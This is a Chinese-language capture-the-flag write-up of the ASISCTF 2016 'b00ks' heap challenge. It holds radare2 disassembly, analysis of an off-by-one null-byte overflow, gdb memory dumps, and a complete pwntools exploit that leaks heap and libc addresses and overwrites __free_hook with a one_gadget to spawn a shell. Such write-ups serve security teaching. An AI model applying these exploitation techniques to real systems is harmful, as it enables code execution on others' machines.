我的书签
添加书签
移除书签6.1.28 pwn ASISCTF2016 b00ks
题目复现
$ file b00ksb00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped$ checksec -f b00ksRELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILEFull RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 b00ks$ strings libc-2.23.so | grep "GNU C"GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.Compiled by GNU CC version 5.4.0 20160609.
64 位程序，开启了 FULL RELRO、NX 和 PIE。
在 Ubuntu 16.04 上玩一下：
$ ./b00ksWelcome to ASISCTF book libraryEnter author name: AAAA1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit> 1Enter book name size: 5Enter book name (Max 32 chars): BBBBBEnter book description size: 5Enter book description: CCCCC1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit> 3Enter the book id you want to edit: 1Enter new book description: DDDDD1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit> 4ID: 1Name: BBBBBDescription: DDDDDAuthor: AAAA1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit> 2Enter the book id you want to delete: 11. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit> 5Enter author name: EEEE1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit> 6Thanks to use our library software
程序让我们先输入一个 auther name，然后进入菜单，可以新建、删除、修改和打印一个 book，还可以对 author name 进行修改。
题目解析
Enter author name
[0x000008e0]> pdf @ sub.Enter_author_name:_b6d/ (fcn) sub.Enter_author_name:_b6d 80| sub.Enter_author_name:_b6d ();| ; CALL XREF from main (0x122f)| ; CALL XREF from main (+0xe0)| 0x00000b6d push rbp| 0x00000b6e mov rbp, rsp| 0x00000b71 lea rdi, str.Enter_author_name: ; 0x13fb ; "Enter author name: " ; const char *format| 0x00000b78 mov eax, 0| 0x00000b7d call sym.imp.printf ; int printf(const char *format)| 0x00000b82 lea rax, [0x00202018] ; "@ "| 0x00000b89 mov rax, qword [rax]| 0x00000b8c mov esi, 0x20 ; "@" ; void *buf| 0x00000b91 mov rdi, rax ; int fildes| 0x00000b94 call sub.read_9f5 ; 调用 read_9f5([0x00202018], 0x20) 读入 author name| 0x00000b99 test eax, eax| ,=< 0x00000b9b je 0xbb6| | 0x00000b9d lea rdi, str.fail_to_read_author_name ; 0x140f ; "fail to read author_name" ; const char *format| | 0x00000ba4 mov eax, 0| | 0x00000ba9 call sym.imp.printf ; int printf(const char *format)| | 0x00000bae nop| | 0x00000baf mov eax, 1| ,==< 0x00000bb4 jmp 0xbbb| || ; CODE XREF from sub.Enter_author_name:_b6d (0xb9b)| |`-> 0x00000bb6 mov eax, 0| | ; CODE XREF from sub.Enter_author_name:_b6d (0xbb4)| `--> 0x00000bbb pop rbp\ 0x00000bbc ret[0x000008e0]> px 8 @ 0x00202018- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x00202018 4020 2000 0000 0000 @ .....
程序首先调用函数 read_9f5() 读入 author name 到 [0x00202018]，即 0x00202040。
函数 read_9f5() 如下：
[0x000008e0]> pdf @ sub.read_9f5/ (fcn) sub.read_9f5 130| sub.read_9f5 (int arg1, signed int arg2);| ; var signed int local_1ch @ rbp-0x1c| ; var int local_18h @ rbp-0x18| ; var int local_ch @ rbp-0xc| ; var void *buf @ rbp-0x8| ; CALL XREF from sub.Enter_author_name:_b6d (0xb94)| ; CALL XREF from sub.Enter_the_book_id_you_want_to_edit:_e17 (0xf2b)| ; CALL XREFS from sub.Enter_book_name_size:_f55 (0xff8, 0x10b2)| 0x000009f5 push rbp| 0x000009f6 mov rbp, rsp| 0x000009f9 sub rsp, 0x20| 0x000009fd mov qword [local_18h], rdi ; arg1| 0x00000a01 mov dword [local_1ch], esi ; arg2| 0x00000a04 cmp dword [local_1ch], 0| ,=< 0x00000a08 jg 0xa11 ; arg2 大于 0 时继续| | 0x00000a0a mov eax, 0| ,==< 0x00000a0f jmp 0xa75 ; 否则退出| |`-> 0x00000a11 mov rax, qword [local_18h] ; rax = [arg1] 取第一个参数| | 0x00000a15 mov qword [buf], rax ; [buf] = rax = [arg1]| | 0x00000a19 mov dword [local_ch], 0 ; 循环计数 i 初始为 0| | ; CODE XREF from sub.read_9f5 (0xa67)| |.-> 0x00000a20 mov rax, qword [buf] ; rax = [buf]| |: 0x00000a24 mov edx, 1 ; size_t nbyte| |: 0x00000a29 mov rsi, rax ; void *buf| |: 0x00000a2c mov edi, 0 ; int fildes| |: 0x00000a31 mov eax, 0| |: 0x00000a36 call sym.imp.read ; 调用 read(0, [buf], 1) 读入一个字节| |: 0x00000a3b cmp eax, 1| ,===< 0x00000a3e je 0xa47| ||: 0x00000a40 mov eax, 1| ,====< 0x00000a45 jmp 0xa75| |||: ; CODE XREF from sub.read_9f5 (0xa3e)| |`---> 0x00000a47 mov rax, qword [buf] ; rax = [buf]| | |: 0x00000a4b movzx eax, byte [rax] ; eax = [rax] 取出最后一个字节| | |: 0x00000a4e cmp al, 0xa| |,===< 0x00000a50 jne 0xa54 ; 该字节不为换行符 '\n'| ,=====< 0x00000a52 jmp 0xa69| ||||: ; CODE XREF from sub.read_9f5 (0xa50)| ||`---> 0x00000a54 add qword [buf], 1 ; [buf] += 1| || |: 0x00000a59 mov eax, dword [local_ch]| || |: 0x00000a5c cmp eax, dword [local_1ch]| ||,===< 0x00000a5f jne 0xa63 ; 循环计数 i 与 arg2 不相等时| ,======< 0x00000a61 jmp 0xa69| |||||: ; CODE XREF from sub.read_9f5 (0xa5f)| |||`---> 0x00000a63 add dword [local_ch], 1 ; 循环计数 i 加 1| ||| |`=< 0x00000a67 jmp 0xa20 ; 继续循环| ||| | ; CODE XREFS from sub.read_9f5 (0xa52, 0xa61)| ``-----> 0x00000a69 mov rax, qword [buf] ; rax = [buf]| | | 0x00000a6d mov byte [rax], 0 ; [rax] = 0 将最后一个字节设置为 '0x00'| | | 0x00000a70 mov eax, 0| | | ; CODE XREFS from sub.read_9f5 (0xa0f, 0xa45)| `-`--> 0x00000a75 leave\ 0x00000a76 ret
该函数存在单字节溢出漏洞，例如在读入 author name 的时候，arg2 为 0x20，但却可以读入最多 0x21 个字节，读入完成后将最后一个字节设置为 “\x00”，即溢出了一个字节的 null byte。
Create
[0x000008e0]> pdf @ sub.Enter_book_name_size:_f55/ (fcn) sub.Enter_book_name_size:_f55 634| sub.Enter_book_name_size:_f55 ();| ; var size_t size @ rbp-0x20| ; var unsigned int local_1ch @ rbp-0x1c| ; var void *local_18h @ rbp-0x18| ; var void *fildes @ rbp-0x10| ; var void *ptr @ rbp-0x8| ; CALL XREF from main (+0xb0)| 0x00000f55 push rbp| 0x00000f56 mov rbp, rsp| 0x00000f59 sub rsp, 0x20| 0x00000f5d mov dword [size], 0| 0x00000f64 lea rdi, str.Enter_book_name_size: ; 0x150f ; "\nEnter book name size: " ; const char *format| 0x00000f6b mov eax, 0| 0x00000f70 call sym.imp.printf ; int printf(const char *format)| 0x00000f75 lea rax, [size]| 0x00000f79 mov rsi, rax| 0x00000f7c lea rdi, [0x000013f8] ; "%d" ; const char *format| 0x00000f83 mov eax, 0| 0x00000f88 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 name_size 到 [size]| 0x00000f8d mov eax, dword [size]| 0x00000f90 test eax, eax| ,=< 0x00000f92 jns 0xfaa ; [size] 大于等于 0| | 0x00000f94 lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format| | 0x00000f9b mov eax, 0| | 0x00000fa0 call sym.imp.printf ; int printf(const char *format)| ,==< 0x00000fa5 jmp 0x118f| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0xf92)| |`-> 0x00000faa lea rdi, str.Enter_book_name__Max_32_chars_: ; 0x1538 ; "Enter book name (Max 32 chars): " ; const char *format| | 0x00000fb1 mov eax, 0| | 0x00000fb6 call sym.imp.printf ; int printf(const char *format)| | 0x00000fbb mov eax, dword [size]| | 0x00000fbe cdqe| | 0x00000fc0 mov rdi, rax ; size_t size| | 0x00000fc3 call sym.imp.malloc ; 调用 malloc([size]) 为 name 分配空间| | 0x00000fc8 mov qword [fildes], rax ; 空间地址保存到 [fildes]| | 0x00000fcc cmp qword [fildes], 0| |,=< 0x00000fd1 jne 0xfe9| || 0x00000fd3 lea rdi, str.unable_to_allocate_enough_space ; 0x1560 ; "unable to allocate enough space" ; const char *format| || 0x00000fda mov eax, 0| || 0x00000fdf call sym.imp.printf ; int printf(const char *format)| ,===< 0x00000fe4 jmp 0x118f| ||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0xfd1)| ||`-> 0x00000fe9 mov eax, dword [size]| || 0x00000fec lea edx, [rax - 1]| || 0x00000fef mov rax, qword [fildes]| || 0x00000ff3 mov esi, edx ; void *buf| || 0x00000ff5 mov rdi, rax ; int fildes| || 0x00000ff8 call sub.read_9f5 ; 调用 read_9f5([fildes], [size]-1) 读入 name| || 0x00000ffd test eax, eax| ||,=< 0x00000fff je 0x1017| ||| 0x00001001 lea rdi, str.fail_to_read_name ; 0x1580 ; "fail to read name" ; const char *format| ||| 0x00001008 mov eax, 0| ||| 0x0000100d call sym.imp.printf ; int printf(const char *format)| ,====< 0x00001012 jmp 0x118f| |||`-> 0x00001017 mov dword [size], 0 ; 将 [size] 置 0| ||| 0x0000101e lea rdi, str.Enter_book_description_size: ; 0x1598 ; "\nEnter book description size: " ; const char *format| ||| 0x00001025 mov eax, 0| ||| 0x0000102a call sym.imp.printf ; int printf(const char *format)| ||| 0x0000102f lea rax, [size]| ||| 0x00001033 mov rsi, rax| ||| 0x00001036 lea rdi, [0x000013f8] ; "%d" ; const char *format| ||| 0x0000103d mov eax, 0| ||| 0x00001042 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 description_size 到 [size]| ||| 0x00001047 mov eax, dword [size]| ||| 0x0000104a test eax, eax| |||,=< 0x0000104c jns 0x1064 ; [size] 大于等于 0| |||| 0x0000104e lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format| |||| 0x00001055 mov eax, 0| |||| 0x0000105a call sym.imp.printf ; int printf(const char *format)| ,=====< 0x0000105f jmp 0x118f| ||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x104c)| ||||`-> 0x00001064 mov eax, dword [size]| |||| 0x00001067 cdqe| |||| 0x00001069 mov rdi, rax ; size_t size| |||| 0x0000106c call sym.imp.malloc ; 调用 malloc([size]) 为 description 分配空间| |||| 0x00001071 mov qword [ptr], rax ; 空间地址保存到 [ptr]| |||| 0x00001075 cmp qword [ptr], 0| ||||,=< 0x0000107a jne 0x1092| ||||| 0x0000107c lea rdi, str.Fail_to_allocate_memory ; 0x15b7 ; "Fail to allocate memory" ; const char *format| ||||| 0x00001083 mov eax, 0| ||||| 0x00001088 call sym.imp.printf ; int printf(const char *format)| ,======< 0x0000108d jmp 0x118f| |||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x107a)| |||||`-> 0x00001092 lea rdi, str.Enter_book_description: ; 0x15cf ; "Enter book description: " ; const char *format| ||||| 0x00001099 mov eax, 0| ||||| 0x0000109e call sym.imp.printf ; int printf(const char *format)| ||||| 0x000010a3 mov eax, dword [size]| ||||| 0x000010a6 lea edx, [rax - 1]| ||||| 0x000010a9 mov rax, qword [ptr]| ||||| 0x000010ad mov esi, edx ; void *buf| ||||| 0x000010af mov rdi, rax ; int fildes| ||||| 0x000010b2 call sub.read_9f5 ; 调用 read_9f5([ptr], [size] -1) 读入 description| ||||| 0x000010b7 test eax, eax| |||||,=< 0x000010b9 je 0x10d1| |||||| 0x000010bb lea rdi, str.Unable_to_read_description ; 0x15e8 ; "Unable to read description" ; const char *format| |||||| 0x000010c2 mov eax, 0| |||||| 0x000010c7 call sym.imp.printf ; int printf(const char *format)| ,=======< 0x000010cc jmp 0x118f| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10b9)| ||||||`-> 0x000010d1 mov eax, 0| |||||| 0x000010d6 call fcn.00000b24 ; 判断 book_num 是否达到上限 20| |||||| 0x000010db mov dword [local_1ch], eax ; 返回值 eax 为该 book 在 books 里的序号| |||||| 0x000010de cmp dword [local_1ch], 0xffffffffffffffff| ||||||,=< 0x000010e2 jne 0x10fa| ||||||| 0x000010e4 lea rdi, str.Library_is_full ; 0x1603 ; "Library is full" ; const char *format| ||||||| 0x000010eb mov eax, 0| ||||||| 0x000010f0 call sym.imp.printf ; int printf(const char *format)| ========< 0x000010f5 jmp 0x118f| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10e2)| ||||||`-> 0x000010fa mov edi, 0x20 ; "@" ; size_t size| |||||| 0x000010ff call sym.imp.malloc ; 调用 malloc(0x20) 为 book 结构体分配空间| |||||| 0x00001104 mov qword [local_18h], rax ; 空间地址保存到 [local_18h]| |||||| 0x00001108 cmp qword [local_18h], 0| ||||||,=< 0x0000110d jne 0x1122| ||||||| 0x0000110f lea rdi, str.Unable_to_allocate_book_struct ; 0x1618 ; "Unable to allocate book struct" ; const char *format| ||||||| 0x00001116 mov eax, 0| ||||||| 0x0000111b call sym.imp.printf ; int printf(const char *format)| ========< 0x00001120 jmp 0x118f| ||||||`-> 0x00001122 mov eax, dword [size] ; 取出 description_size| |||||| 0x00001125 mov edx, eax| |||||| 0x00001127 mov rax, qword [local_18h] ; 取出 book 结构体| |||||| 0x0000112b mov dword [rax + 0x18], edx ; book->description_size = [size]| |||||| 0x0000112e lea rax, [0x00202010] ; rax = 0x00202010| |||||| 0x00001135 mov rax, qword [rax] ; rax = 0x00202060 取出 books 数组地址| |||||| 0x00001138 mov edx, dword [local_1ch]| |||||| 0x0000113b movsxd rdx, edx| |||||| 0x0000113e shl rdx, 3| |||||| 0x00001142 add rdx, rax ; rdx 为 books 数组中该 book 的地址| |||||| 0x00001145 mov rax, qword [local_18h]| |||||| 0x00001149 mov qword [rdx], rax ; books[rdx] = book 将 book 地址放入 books 数组| |||||| 0x0000114c mov rax, qword [local_18h]| |||||| 0x00001150 mov rdx, qword [ptr]| |||||| 0x00001154 mov qword [rax + 0x10], rdx ; book->description = [ptr]| |||||| 0x00001158 mov rax, qword [local_18h]| |||||| 0x0000115c mov rdx, qword [fildes]| |||||| 0x00001160 mov qword [rax + 8], rdx ; book->name = [fildes]| |||||| 0x00001164 lea rax, [0x00202024]| |||||| 0x0000116b mov eax, dword [rax] ; 取出 book_num| |||||| 0x0000116d lea edx, [rax + 1] ; edx = book_num + 1| |||||| 0x00001170 lea rax, [0x00202024]| |||||| 0x00001177 mov dword [rax], edx ; 放回新的 book_num| |||||| 0x00001179 lea rax, [0x00202024]| |||||| 0x00001180 mov edx, dword [rax]| |||||| 0x00001182 mov rax, qword [local_18h]| |||||| 0x00001186 mov dword [rax], edx ; book->id = book_num| |||||| 0x00001188 mov eax, 0| ||||||,=< 0x0000118d jmp 0x11cd| ||||||| ; XREFS: CODE 0x00000fa5 CODE 0x00000fe4 CODE 0x00001012 CODE 0x0000105f CODE 0x0000108d CODE 0x000010cc| ||||||| ; XREFS: CODE 0x000010f5 CODE 0x00001120| ``````--> 0x0000118f cmp qword [fildes], 0 ; 释放掉一些指针| ,==< 0x00001194 je 0x11a2| || 0x00001196 mov rax, qword [fildes]| || 0x0000119a mov rdi, rax ; void *ptr| || 0x0000119d call sym.imp.free ; free([fildes])| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x1194)| `--> 0x000011a2 cmp qword [ptr], 0| ,==< 0x000011a7 je 0x11b5| || 0x000011a9 mov rax, qword [ptr]| || 0x000011ad mov rdi, rax ; void *ptr| || 0x000011b0 call sym.imp.free ; free([ptr])| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11a7)| `--> 0x000011b5 cmp qword [local_18h], 0| ,==< 0x000011ba je 0x11c8| || 0x000011bc mov rax, qword [local_18h]| || 0x000011c0 mov rdi, rax ; void *ptr| || 0x000011c3 call sym.imp.free ; free([local_18h])| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11ba)| `--> 0x000011c8 mov eax, 1| | ; CODE XREF from sub.Enter_book_name_size:_f55 (0x118d)| `-> 0x000011cd leave\ 0x000011ce ret[0x000008e0]> px 8 @ 0x00202010- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x00202010 6020 2000 0000 0000 ` .....
Create 过程是首先在堆上为 name 分配空间，然后为 description 分配空间，最后为 book 结构体分配空间。其中 name 和 description 的大小是由输入控制的，book 结构体则固定为 0x20 字节。
通过分析可以得到下面的数据结构：
struct book {int id;char *name;char *description;char description_size;} book;struct book *books[20];
其中 books 数组的起始地址为 0x00202060。
漏洞利用
现在我们已经知道漏洞点是在读入 author name 的时候存在一个 off-by-one 漏洞。另外由于 author name 和 books 之间距离正好为 0x00202060 - 0x00202040 = 0x20，并且 books 是在 author name 之后创建，所以如果 author name 恰好为 0x20 个字节，那么在 Print 的时候存在信息泄露。接下来如果对 author name 进行修改，且仍然为 0x20 字节，则溢出的一个空字节将覆盖掉 books[0] 的低位字节。
思路如下：
- 创建两个 book，其中要使第二个 book 的 name 和 description 通过 mmap 分配（请求一块很大的空间），这是因为 mmap 分配的空间与 libc 基址存在固定关系，后续将通过泄露这些地址得到 libc 基址。
- 通过 Print，利用信息泄露漏洞得到 book1 在 heap 上的地址，从而计算得到 book2 的地址。
- 通过 Edit 在 book1->description 中创建一个 fake book，其 fake->description 指向 book2->name。
- 通过 Change author name 造成空字节溢出，使 books[0] 指向伪造的 fake book。
- 再次通过 Print 即可打印出 book2->name，这是一个通过 mmap 得到的指针，于是计算出 libc 基址。
- 先 Edit 操作 fake book，将 book2->description 修改为 free_hook 的地址，然后 Edit 操作 book2，即可将 free_hook 修改为 one_gadget。
- 此时 Delete book2，即可执行 one_gadget 获得 shell。
leak_heap
def leak_heap():global book2_addrio.sendlineafter("name: ", "A" * 0x20)Create(0xd0, "AAAA", 0x20, "AAAA") # book1Create(0x21000, "AAAA", 0x21000, "AAAA") # book2Print()io.recvuntil("A"*0x20)book1_addr = u64(io.recvn(6).ljust(8, "\x00"))book2_addr = book1_addr + 0x30log.info("book2 address: 0x%x" % book2_addr)
创建两个 book，此时内存布局如下：
gdb-peda$ x/8gx 0x5555557560400x555555756040: 0x4141414141414141 0x4141414141414141 <-- author name0x555555756050: 0x4141414141414141 0x41414141414141410x555555756060: 0x0000555555758130 0x0000555555758160 <-- books0x555555756070: 0x0000000000000000 0x0000000000000000gdb-peda$ x/50gx 0x0000555555758020-0x100x555555758010: 0x0000000000000000 0x00000000000000e1 <-- book1->name0x555555758020: 0x0000000041414141 0x00000000000000000x555555758030: 0x0000000000000000 0x00000000000000000x555555758040: 0x0000000000000000 0x00000000000000000x555555758050: 0x0000000000000000 0x00000000000000000x555555758060: 0x0000000000000000 0x00000000000000000x555555758070: 0x0000000000000000 0x00000000000000000x555555758080: 0x0000000000000000 0x00000000000000000x555555758090: 0x0000000000000000 0x00000000000000000x5555557580a0: 0x0000000000000000 0x00000000000000000x5555557580b0: 0x0000000000000000 0x00000000000000000x5555557580c0: 0x0000000000000000 0x00000000000000000x5555557580d0: 0x0000000000000000 0x00000000000000000x5555557580e0: 0x0000000000000000 0x00000000000000000x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- book1->description0x555555758100: 0x0000000041414141 0x00000000000000000x555555758110: 0x0000000000000000 0x00000000000000000x555555758120: 0x0000000000000000 0x0000000000000031 <-- book10x555555758130: 0x0000000000000001 0x00005555557580200x555555758140: 0x0000555555758100 0x00000000000000200x555555758150: 0x0000000000000000 0x0000000000000031 <-- book20x555555758160: 0x0000000000000002 0x00007ffff7fd20100x555555758170: 0x00007ffff7fb0010 0x00000000000210000x555555758180: 0x0000000000000000 0x0000000000020e810x555555758190: 0x0000000000000000 0x0000000000000000
可以看到 book2 通过 mmap 分配的两个指针并不是指向 heap，而是与 libc 有某种固定关系：
gdb-peda$ vmmap libcStart End Perm Name0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /home/firmy/b00ks/libc-2.23.so0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /home/firmy/b00ks/libc-2.23.so0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /home/firmy/b00ks/libc-2.23.so0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /home/firmy/b00ks/libc-2.23.sogdb-peda$ vmmap mappedStart End Perm Name0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p mapped0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mappedgdb-peda$ vmmap heapStart End Perm Name0x0000555555757000 0x0000555555779000 rw-p [heap]
leak_libc
def leak_libc():global libc_basefake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)Edit(1, fake_book)Change("A" * 0x20)Print()io.recvuntil("Name: ")leak_addr = u64(io.recvn(6).ljust(8, "\x00"))libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_baselog.info("libc address: 0x%x" % libc_base)
gdb-peda$ x/8gx 0x5555557560400x555555756040: 0x4141414141414141 0x41414141414141410x555555756050: 0x4141414141414141 0x41414141414141410x555555756060: 0x0000555555758100 0x0000555555758160 <-- books[0]0x555555756070: 0x0000000000000000 0x0000000000000000gdb-peda$ x/50gx 0x0000555555758020-0x100x555555758010: 0x0000000000000000 0x00000000000000e10x555555758020: 0x0000000041414141 0x00000000000000000x555555758030: 0x0000000000000000 0x00000000000000000x555555758040: 0x0000000000000000 0x00000000000000000x555555758050: 0x0000000000000000 0x00000000000000000x555555758060: 0x0000000000000000 0x00000000000000000x555555758070: 0x0000000000000000 0x00000000000000000x555555758080: 0x0000000000000000 0x00000000000000000x555555758090: 0x0000000000000000 0x00000000000000000x5555557580a0: 0x0000000000000000 0x00000000000000000x5555557580b0: 0x0000000000000000 0x00000000000000000x5555557580c0: 0x0000000000000000 0x00000000000000000x5555557580d0: 0x0000000000000000 0x00000000000000000x5555557580e0: 0x0000000000000000 0x00000000000000000x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- fake book0x555555758100: 0x0000000000000001 0x00005555557581680x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book10x555555758130: 0x0000000000000001 0x00005555557580200x555555758140: 0x0000555555758100 0x00000000000000200x555555758150: 0x0000000000000000 0x0000000000000031 <-- book20x555555758160: 0x0000000000000002 0x00007ffff7fd2010 <-- book2->name0x555555758170: 0x00007ffff7fb0010 0x00000000000210000x555555758180: 0x0000000000000000 0x0000000000020e810x555555758190: 0x0000000000000000 0x0000000000000000
接下来先是伪造 fake book，然后通过空字节溢出，修改了 books[0] 的低位字节，此时它指向了 fake book。而 fake->description 指向了 book2->name。
通过 Print 即可打印出 book2->name，进而计算出 libc 基址。
overwrite
def overwrite():free_hook = libc.symbols['__free_hook'] + libc_baseone_gadget = libc_base + 0x4526afake_book = p64(free_hook) * 2Edit(1, fake_book)fake_book = p64(one_gadget)Edit(2, fake_book)
依次修改 fake book 和 book2，最终将 __free_hook 修改为 one_gadget：
gdb-peda$ x/50gx 0x0000555555758020-0x100x555555758010: 0x0000000000000000 0x00000000000000e10x555555758020: 0x0000000041414141 0x00000000000000000x555555758030: 0x0000000000000000 0x00000000000000000x555555758040: 0x0000000000000000 0x00000000000000000x555555758050: 0x0000000000000000 0x00000000000000000x555555758060: 0x0000000000000000 0x00000000000000000x555555758070: 0x0000000000000000 0x00000000000000000x555555758080: 0x0000000000000000 0x00000000000000000x555555758090: 0x0000000000000000 0x00000000000000000x5555557580a0: 0x0000000000000000 0x00000000000000000x5555557580b0: 0x0000000000000000 0x00000000000000000x5555557580c0: 0x0000000000000000 0x00000000000000000x5555557580d0: 0x0000000000000000 0x00000000000000000x5555557580e0: 0x0000000000000000 0x00000000000000000x5555557580f0: 0x0000000000000000 0x00000000000000310x555555758100: 0x0000000000000001 0x00005555557581680x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description0x555555758120: 0x0000000000000000 0x00000000000000310x555555758130: 0x0000000000000001 0x00005555557580200x555555758140: 0x0000555555758100 0x00000000000000200x555555758150: 0x0000000000000000 0x00000000000000310x555555758160: 0x0000000000000002 0x00007ffff7dd37a80x555555758170: 0x00007ffff7dd37a8 0x0000000000021000 <-- book2->description0x555555758180: 0x0000000000000000 0x0000000000020e810x555555758190: 0x0000000000000000 0x0000000000000000gdb-peda$ x/gx 0x00007ffff7dd37a80x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a5226agdb-peda$ pdisass 0x00007ffff7a5226a /70x7ffff7a5226a: mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb80x7ffff7a52271: lea rdi,[rip+0x147adf] # 0x7ffff7b99d570x7ffff7a52278: lea rsi,[rsp+0x30]0x7ffff7a5227d: mov DWORD PTR [rip+0x381219],0x0 # 0x7ffff7dd34a00x7ffff7a52287: mov DWORD PTR [rip+0x381213],0x0 # 0x7ffff7dd34a40x7ffff7a52291: mov rdx,QWORD PTR [rax]0x7ffff7a52294: call 0x7ffff7ad9770 <execve>
pwn
def pwn():Delete(2)io.interactive()
最后 Delete book2，获得 shell。
开启 ASLR，Bingo!!!
$ python exp.py[+] Starting local process './b00ks': pid 4879[*] book2 address: 0x562341a04160[*] libc address: 0x7f87e9425000[*] Switching to interactive mode$ whoamifirmy
exploit
完整的 exp 如下：
#!/usr/bin/env pythonfrom pwn import *#context.log_level = 'debug'io = process(['./b00ks'], env={'LD_PRELOAD':'./libc-2.23.so'})libc = ELF('libc-2.23.so')def Create(nsize, name, dsize, desc):io.sendlineafter("> ", '1')io.sendlineafter("name size: ", str(nsize))io.sendlineafter("name (Max 32 chars): ", name)io.sendlineafter("description size: ", str(dsize))io.sendlineafter("description: ", desc)def Delete(idx):io.sendlineafter("> ", '2')io.sendlineafter("delete: ", str(idx))def Edit(idx, desc):io.sendlineafter("> ", '3')io.sendlineafter("edit: ", str(idx))io.sendlineafter("description: ", desc)def Print():io.sendlineafter("> ", '4')def Change(name):io.sendlineafter("> ", '5')io.sendlineafter("name: ", name)def leak_heap():global book2_addrio.sendlineafter("name: ", "A" * 0x20)Create(0xd0, "AAAA", 0x20, "AAAA") # book1Create(0x21000, "AAAA", 0x21000, "AAAA") # book2Print()io.recvuntil("A"*0x20)book1_addr = u64(io.recvn(6).ljust(8, "\x00"))book2_addr = book1_addr + 0x30log.info("book2 address: 0x%x" % book2_addr)def leak_libc():global libc_basefake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)Edit(1, fake_book)Change("A" * 0x20)Print()io.recvuntil("Name: ")leak_addr = u64(io.recvn(6).ljust(8, "\x00"))libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_baselog.info("libc address: 0x%x" % libc_base)def overwrite():free_hook = libc.symbols['__free_hook'] + libc_baseone_gadget = libc_base + 0x4526afake_book = p64(free_hook) * 2Edit(1, fake_book)fake_book = p64(one_gadget)Edit(2, fake_book)def pwn():Delete(2)io.interactive()if __name__ == "__main__":leak_heap()leak_libc()overwrite()pwn()
